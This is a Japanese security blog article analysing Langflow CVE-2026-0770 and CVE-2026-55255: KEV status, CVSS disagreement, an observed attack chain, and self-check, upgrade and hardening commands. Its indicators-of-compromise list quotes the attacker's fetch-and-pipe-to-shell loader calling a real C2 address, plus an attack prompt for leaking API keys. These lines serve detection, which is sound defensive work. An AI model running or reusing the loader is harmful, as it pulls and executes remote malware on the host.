Langflow CVE-2026-0770解説｜CISA KEV5件目のAIエージェント基盤RCEと確認コマンド

2026年7月21日、CISA（米国サイバーセキュリティ・インフラセキュリティ庁）は Langflow CVE-2026-0770 をKnown Exploited Vulnerabilities（KEV）カタログへ追加しました。未認証のままroot権限で任意コードを実行できるRCEで、対処期限は追加からわずか3日後の7月24日です。その2週間前、7月7日にはクロステナントのIDOR脆弱性 CVE-2026-55255 が同じKEVに載っています。Langflowは★152,354・MITライセンスのAIエージェント／ワークフロー構築基盤で、日本語圏でもノーコードでLLMパイプラインを組むツールとして知られています。

まず、自分の環境が対象かどうかを確認するコマンドから示します。読み進める前に手元で実行できます。

# 1) バージョンを確認する（1.7.3以下 = CVE-2026-0770 の影響範囲）
pip show langflow | grep -i version
langflow --version

# Docker で動かしている場合
docker exec <container> pip show langflow | grep -i version

# 2) 侵害マーカーの有無（Sysdigが観測した実行成功の痕跡）
docker exec <container> ls -la /tmp/lang_pwn 2>/dev/null && echo "!!! 要調査 !!!"

# 3) 脆弱なエンドポイントへのアクセス痕跡をログから探す
grep -E "/api/v1/(responses|flows/|build_public_tmp|validate)" /var/log/nginx/access.log

この記事ではAIエージェント基盤の脆弱性と実際の悪用観測を扱います。開発基盤を狙う攻撃の全体像は サプライチェーンセキュリティ2026｜攻撃手法・防御ツール・実践チェックリスト をご覧ください。

Langflow CVE-2026-0770とは：未認証・rootでコードが動く仕組み

CVE-2026-0770は、Trend MicroのZero Day Initiative（ZDI）経由で 2026年1月23日 に公開された脆弱性です（内部管理番号 ZDI-CAN-27325）。NVDの記述はこう整理しています——Langflowのvalidateエンドポイントに渡される exec_globals パラメータの扱いに欠陥があり、信頼できない制御領域からリソースが取り込まれる。結果として攻撃者は認証なしに、root権限のコンテキストでコードを実行できます。

分類はCWE-829「Inclusion of Functionality from Untrusted Control Sphere（信頼できない制御領域からの機能の取り込み）」。よくある入力検証漏れというより、「実行スコープに攻撃者の持ち込んだものが混ざる」設計上の問題として登録されています。CISAがKEVカタログに記載した脆弱性名も “Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability” で、CWEの表現をそのまま採っています。

ここで注意が必要なのは、影響バージョンの記述が情報源によって食い違う点です。NVDとOSVは「1.7.3以下」で一致しますが、一部のベンダーデータベースは「1.4.2以下」と記載しています。またGitHub Advisory Database（GHSA-g22f-v6f7-2hrh）は影響範囲を <= 1.7.3 としつつ、Patched versions を「なし」と表示します。一方でCISAはKEVエントリのnotesに https://github.com/langflow-ai/langflow/releases/tag/v1.9.0 を参照先として挙げています。

つまり「どのバージョンへ上げれば直るのか」が、公式アドバイザリ上では明示されていないまま、CISAの案内が実質的な指針になっている状態です。1.7.3が最後の影響版であるなら、次のマイナーである1.8.0（2026-03-05リリース）以降が対象外という読み方になりますが、GHSAが patched を空にしているためここは断定できません。実務上は、CISAが参照するv1.9.0以降、できれば最新へ上げるというのが現実的な結論です。

悪用は2026年6月27日から観測されている

公開（2026-01-23）から実際の悪用が観測されるまで、約5か月の空白があります。BleepingComputerの報道によれば、脆弱性インテリジェンスのKEVIntelが 2026年6月27日 に初めて実環境での悪用を確認し、CISAがKEVへ追加するまでに 220件超の悪用試行、64のユニークな送信元IP を記録しました。

観測されたペイロードの内容は、単なる動作確認では終わっていません。コマンド実行の可否チェック、システムの偵察、二段目スクリプトのダウンロード、環境変数へのアクセス、クラウドのメタデータ取得、認証情報ファイルの読み出し——AWSの資格情報とコンテナのメタデータを狙う動きが確認されています。マルウェアの設置を試みるペイロードも含まれていました。

CISAの要求アクションは、BOD 26-04「Prioritizing Security Updates Based on Risk」に沿った対処と、”Forensics Triage Requirements” への準拠です。緩和策が提供されない場合は製品の使用中止まで選択肢に含める文言になっており、KEV追加日（2026-07-21）から対処期限（2026-07-24）までは3日しかありません。ランサムウェア利用の有無は “Unknown” と記載されています。

CVE-2026-55255：認証済みなら他人のフローを実行できたIDOR

もう1件のCVE-2026-55255は、性質がまったく違います。CISAが付けた名称は “Langflow Authorization Bypass Through User-Controlled Key Vulnerability”、CWEは639。いわゆるIDOR（Insecure Direct Object Reference）です。

Sysdigの解析によれば、問題の実体は helpers/flow.py の get_flow_by_id_or_endpoint_name にあります。フローがUUIDで解決されるとき、データベースへの問い合わせに user_id の所有権チェックが入っていなかった。結果として POST /api/v1/responses に他人のフローIDを渡すだけで、そのフローを実行できてしまいます。

Langflowのフローには、外部サービスの認証情報がそのまま埋め込まれていることが珍しくありません。LLMプロバイダのAPIキー、クラウドの資格情報、データベースの接続情報——他人のフローを実行できるということは、そのフローが持っている権限をすべて借りられるということです。マルチテナントのSaaS構成では、テナント境界を越えたデータ露出に直結します。

修正はPR #12832（2026-04-22マージ）で、UUID解決と endpoint_name 解決の両方の経路に所有権検証を入れる形で入りました。修正版は1.9.1（2026-04-24リリース）です。公式アドバイザリGHSA-qrpv-q767-xqq2の公開は2026-06-19、NVDへの登録は2026-06-23でした。

攻撃者は「認証が必要」という前提を2リクエストで崩した

このIDORの興味深い点は、Sysdig Threat Research Teamが実際の攻撃セッションを時刻付きで記録していることです。2026年6月22日から25日にかけて、単独のオペレーターがCVE-2026-55255と、未認証RCEであるCVE-2026-33017を組み合わせて攻撃していました。

注目すべきは 03:38:34の auto_login プローブ です。攻撃者はまず「この環境は認証を要求するのか」を確認しています。そして03:41:13にフローIDを列挙し、その20秒後にIDORでキーを抜いた。キー窃取に要したのは2リクエストでした。

なぜ auto_login を確認したのかは、Langflowの設定を見ると分かります。公式ドキュメントによれば、環境変数 LANGFLOW_AUTO_LOGIN のアプリケーション既定値は True（公式Dockerイメージでは false に設定されている）。有効な場合、ビジュアルエディタは全ユーザーを設定済みのスーパーユーザーとして自動サインインさせ、全員がパスワード保護なしに同じ環境を共有します。

「AIエージェント基盤の初KEV入り」ではない：Langflow 5件の履歴

今回の件を「AIエージェント基盤が初めてCISA KEVに載った」と紹介する記述を目にしますが、CISAの公開カタログ（catalogVersion 2026.07.24／収録1,653件）を実際に検索すると、Langflowのエントリは累計5件あります。最初の登録は2025年5月5日です。

この表から読めることは3つあります。

第一に、同じ製品で1年3か月に5件という頻度です。しかもうち4件は認証・認可の設計に関わるもので、「未認証で叩ける」「他人のリソースに触れる」という同系統の問題が繰り返し出ています。CVE-2026-33017のNVD記述は、CVE-2025-3248との関係をわざわざ明示しています——3248は /api/v1/validate/code に認証を追加して修正されたが、33017は別のエンドポイント（build_public_tmp）で、設計上は未認証を意図しているのに攻撃者提供のフローデータを受け入れてしまう、という説明です。同じ穴を塞いだ隣で別の穴が開いていた形です。

第二に、ランサムウェア利用が「既知」なのは最初のCVE-2025-3248だけです。今回の2件はいずれも “Unknown”。ただしSysdigが観測した攻撃は金銭目的のクレデンシャル窃取であり、ランサムウェアでなければ軽いという話ではありません。

第三に、対処期限が21日→14日→3日と短くなっている点です。

この短縮は、カタログのrequiredAction文面の変化と対応しています。2026年5月までの3件は「BOD 22-01のガイダンスに従う」という従来の表記ですが、7月の2件は BOD 26-04「Prioritizing Security Updates Based on Risk」 を参照し、”Forensics Triage Requirements” への準拠、インターネット露出の評価責任、緩和策がない場合の使用中止まで踏み込んだ文面になっています。

なお、AIインフラが外部から直接叩かれる問題はLangflow固有ではありません。設計上の前提が実運用とずれて大量のサーバーが露出した事例は MCP脆弱性！STDIOトランスポートの設計欠陥で20万台のサーバーがRCEの危険に——OX Securityが警告 でも扱っています。

CVSSは9.9か8.4か：Langflow CVE-2026-0770で優先順位づけが壊れる理由

ここが本件でもっとも実務に効く論点です。同じCVEに、参照先ごとに違うスコアが付いています。

CVE-2026-55255の2つのベクトルを並べると、違いは1文字です。

・公式GHSA：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L → 9.9 Critical
・NVD掲載値：CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L → 8.4 High

AC（Attack Complexity）を Low から High に変えるだけで、9.9から8.4へ、CriticalからHighへ落ちます。CVSS 9.0以上をSLAの緊急枠に入れている組織なら、参照したデータベース次第で対応期限が変わるわけです。

なぜAC:Hという評価があり得たのか、そしてなぜ現実では崩れたのか

AC:H（攻撃複雑度が高い）という評価には根拠があります。Sysdigが指摘するとおり、LangflowのフローUUIDは122ビットのランダム値で、総当たりできません。他人のフローIDを知らなければIDORは成立しない——だから「複雑度が高い」という判定は、単体で見れば妥当です。

しかし実際の攻撃者は、総当たりしませんでした。GET /api/v1/flows/ でフロー一覧を取得し、そこからIDを収穫しました。列挙できるエンドポイントが隣にあれば、推測困難なUUIDは障壁にならない。 そして列挙に必要な「認証済み」という条件は、前述の LANGFLOW_AUTO_LOGIN=True（アプリ既定）によって、既定構成では実質的に無料で満たされます。

Sysdigの分析はもう一段踏み込んだ観察を残しています。この攻撃者は、スコアの高いIDOR（9.9）を2リクエストの「おまけ」として扱い、スコアの低い未認証RCE（CVSS 4.0で9.3）に持続的な労力を注いだというのです。理由は明快で、RCEは認証が一切要らないからです。IDORは事前の認証と列挙が必要でした。

実務への落とし込みは、こうなります。CVSSは深刻度の共通語彙としては有用ですが、対応順序の唯一の根拠にはできません。本件では、(1) KEVに載っているか（＝実際に悪用されているか）、(2) 認証が必要か、(3) 自環境がインターネットに露出しているか——の3点のほうが、9.9か8.4かという議論より実務的な優先順位を与えます。APIキーが実際に狙われる流れは Gemini APIキーが不正利用される仕組みと防止策：数百万円の被害を防ぐ実践ガイド でも整理しています。

自分の環境を確認する：バージョン・公開範囲・侵害痕跡

ここからは自環境の点検手順です。順序は「バージョン → 公開範囲 → 痕跡 → 更新」です。

バージョンと公開範囲を確認する

# インストール形態ごとのバージョン確認
pip show langflow | grep -i version          # pip / uv 環境
langflow --version                            # CLI が通る環境
docker exec <container> pip show langflow | grep -i version   # Docker
docker inspect <container> --format '{{index .Config.Image}}'  # イメージタグを確認

# 公開範囲の確認（Langflow の既定ポートは 7860）
ss -tlnp | grep 7860        # どのアドレスで待ち受けているか（0.0.0.0 なら全公開）
docker ps --format '{{.Names}}\t{{.Ports}}' | grep -i langflow

# 外部から認証なしで到達できるかを確認する（自分の管理下のホストに対してのみ実行する）
curl -s -o /dev/null -w '%{http_code}\n' http://<host>:7860/api/v1/flows/

最後の curl で 200が返る場合は、認証なしでフロー一覧が列挙できる状態です。これはCVE-2026-55255の前段（ID収穫）が誰にでも可能ということを意味します。401や403が返るのが期待される状態です。

認証設定を確認する

# LANGFLOW_AUTO_LOGIN の実効値を確認する（アプリ既定は True）
docker exec <container> printenv | grep -E "LANGFLOW_(AUTO_LOGIN|SUPERUSER)"
grep -rn "LANGFLOW_AUTO_LOGIN" docker-compose.yml .env 2>/dev/null

LANGFLOW_AUTO_LOGIN が True のまま、あるいは未設定でアプリ既定に任せている場合、全アクセス者がスーパーユーザーとして自動サインインします。False にする場合は LANGFLOW_SUPERUSER_PASSWORD の設定が必須です（LANGFLOW_SUPERUSER は任意で、既定は langflow）。公式Dockerイメージは false を設定しているため、イメージをそのまま使っているかカスタマイズしているかで挙動が変わります。

侵害痕跡（IoC）を確認する

Sysdigが公表した観測から、確認できる痕跡は次のとおりです。

・ファイル：/tmp/lang_pwn（RCE成功時に作られた実行マーカー）
・通信先：45.207.216.55、C2は http://45.207.216.55:8084/slt
・ローダー：(curl -fsSL http://45.207.216.55:8084/slt || wget -q http://45.207.216.55:8084/slt) | sh
・アクセスされたエンドポイント：/api/v1/flows/（列挙）、/api/v1/responses（IDOR）、/api/v1/build_public_tmp/<uuid>/flow（未認証RCE）
・攻撃プロンプト：leak api keys

# 実行マーカーの有無
docker exec <container> ls -la /tmp/lang_pwn 2>/dev/null || echo "マーカーなし"

# C2 との通信痕跡（ログ・接続の両方を見る）
grep -r "45.207.216.55" /var/log/ 2>/dev/null
ss -tnp | grep 45.207.216.55

# 悪用対象エンドポイントへのアクセス（プロキシのログを対象に）
grep -E "POST /api/v1/(responses|build_public_tmp)" /var/log/nginx/access.log
grep -E "GET /api/v1/flows/" /var/log/nginx/access.log

痕跡が見つかった場合、あるいはログを十分な期間保存しておらず確認できない場合は、フローに保存していたクレデンシャルは露出したものとして扱うのが安全側の判断です。LLMプロバイダのAPIキー、AWSのアクセスキー、データベース接続情報を洗い出し、失効・再発行してください。窃取したキーが実際にどう使われるかは BISSA Scanner解析：AI支援の大規模脆弱性スキャンと.envクレデンシャル窃取の仕組み で扱っています。

影響範囲マトリクスと対策：どのバージョンなら安全か

3件のCVEを、バージョン帯ごとに整理します。

※ CVE-2026-0770についてはGHSAが修正版を明示していないため、「1.7.3が最後の影響版」というNVD／OSVのCPE記載に基づく判定です。CISAが案内するv1.9.0以降であれば、この読み方でもCISAの指針でも対象外になります。

対策の優先順位

1. バージョンを上げる（最優先）

# pip / uv 環境
pip install --upgrade "langflow>=1.9.6"
uv pip install --upgrade "langflow>=1.9.6"

# Docker（タグを固定して運用している場合は latest 任せにしない）
docker pull langflowai/langflow:1.9.6
docker compose down && docker compose up -d

# 更新後にバージョンを再確認する
docker exec <container> pip show langflow | grep -i version

1.9.6は2026-06-02リリースで、1.9系の中では新しい版です。本記事の3件およびCVE-2025-34291の参照先（v1.9.3）をいずれも上回ります。

2. 公開範囲を絞る

KEVに載った5件のうち4件は、認証・認可の設計に関わるものです。共通する前提は「インターネットから直接叩ける」ことでした。リバースプロキシと認証（Basic認証、OIDC、社内VPN、Cloudflare Accessなど）の背後に置き、7860番ポートを直接インターネットへ晒さない構成にするだけで、未認証RCEの攻撃面はほぼ消えます。運用面の設計は AI自動化ツール｜ノーコードからコードまで2026年版の比較と選び方 の考え方が参考になります。

3. LANGFLOW_AUTO_LOGIN を無効化する

# .env / docker-compose.yml
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=admin
LANGFLOW_SUPERUSER_PASSWORD=<十分に長いランダム文字列>

これを設定しないと、到達できた全員がスーパーユーザーになります。CVE-2026-55255が要求する「認証済み」という条件を、自ら無料で提供している状態です。

4. フローからクレデンシャルを外す

フロー定義に本番のAPIキーを直書きしていると、フローを実行できる相手＝キーを使える相手になります。Langflowのグローバル変数機能や環境変数経由での注入に切り替え、フローのエクスポートに秘密情報が含まれない状態を作ります。加えて、LLMプロバイダ側でキーごとの利用上限とアラートを設定しておくと、万一の流出時に被害額を抑えられます。

5. ログを保存する

今回のIoCは、アクセスログが残っていなければ確認できません。/api/v1/responses と /api/v1/flows/ へのリクエストを含むアクセスログを、少なくとも数か月は保管する運用にしておくと、次に同種のCVEが出たときに「侵害されたかどうか分からない」状態を避けられます。

まとめ

本件がAIエージェント基盤に固有の教訓を残しているとすれば、それは「フローが認証情報の入れ物になっている」という点です。従来のWebアプリのIDORは、他人のデータを読める問題でした。AIワークフロー基盤のIDORは、他人の権限で外部サービスを呼べる問題になります。フローを実行できることと、そのフローが持つ鍵を使えることが同義である限り、認可の1行の抜けが、そのまま鍵束の流出になります。

参照ソース

・CISA Known Exploited Vulnerabilities Catalog（公開JSON） — Langflow 5件のcveID・dateAdded・dueDate・requiredAction・ransomware利用の実値（catalogVersion 2026.07.24／収録1,653件）を集計
・GHSA-qrpv-q767-xqq2 — Langflow IDOR in /api/v1/responses — CVE-2026-55255のCVSS 9.9・ベクトル・CWE-639・修正版1.9.1・PR #12832・報告者
・NVD — CVE-2026-0770 — CWE-829・ZDI由来のCVSS 9.8（CVSS 3.0）・CPE versionEndIncluding: 1.7.3・公開日2026-01-23
・NVD — CVE-2026-55255 — NVD掲載の8.4（AC:H）と「1.9.1で修正」の記述
・NVD — CVE-2026-33017 — build_public_tmp エンドポイントの詳細とCVE-2025-3248との差異、CVSS 9.8／9.3の併記
・Sysdig — Understanding Langflow CVE-2026-55255, and why higher CVSS vulnerabilities aren’t always the most exploited — 6月22〜25日の攻撃セッションの時刻・get_flow_by_id_or_endpoint_name の欠陥・C2（45.207.216.55:8084/slt）・/tmp/lang_pwn・「leak api keys」
・BleepingComputer — CISA orders feds to patch actively exploited Langflow RCE flaw — KEVIntel観測の初悪用日2026-06-27・220件超の試行・64のユニークIP・ペイロードの内容
・Help Net Security — Attackers using Langflow flaw for credential harvesting (CVE-2026-55255) — 窃取対象（LLMプロバイダ資格情報・クラウド・DBシークレット）とKEV期限。修正版を1.9.2と記載する例
・Langflow公式ドキュメント — API keys and authentication — LANGFLOW_AUTO_LOGIN のアプリ既定値Trueと挙動、LANGFLOW_SUPERUSER_PASSWORD の必須条件、既定ポート7860
・langflow-ai/langflow リリース一覧 — v1.8.0（2026-03-05）〜v1.9.6（2026-06-02）の公開日。★152,354・MIT・fork 9,646はGitHub API実測（2026-07-25取得）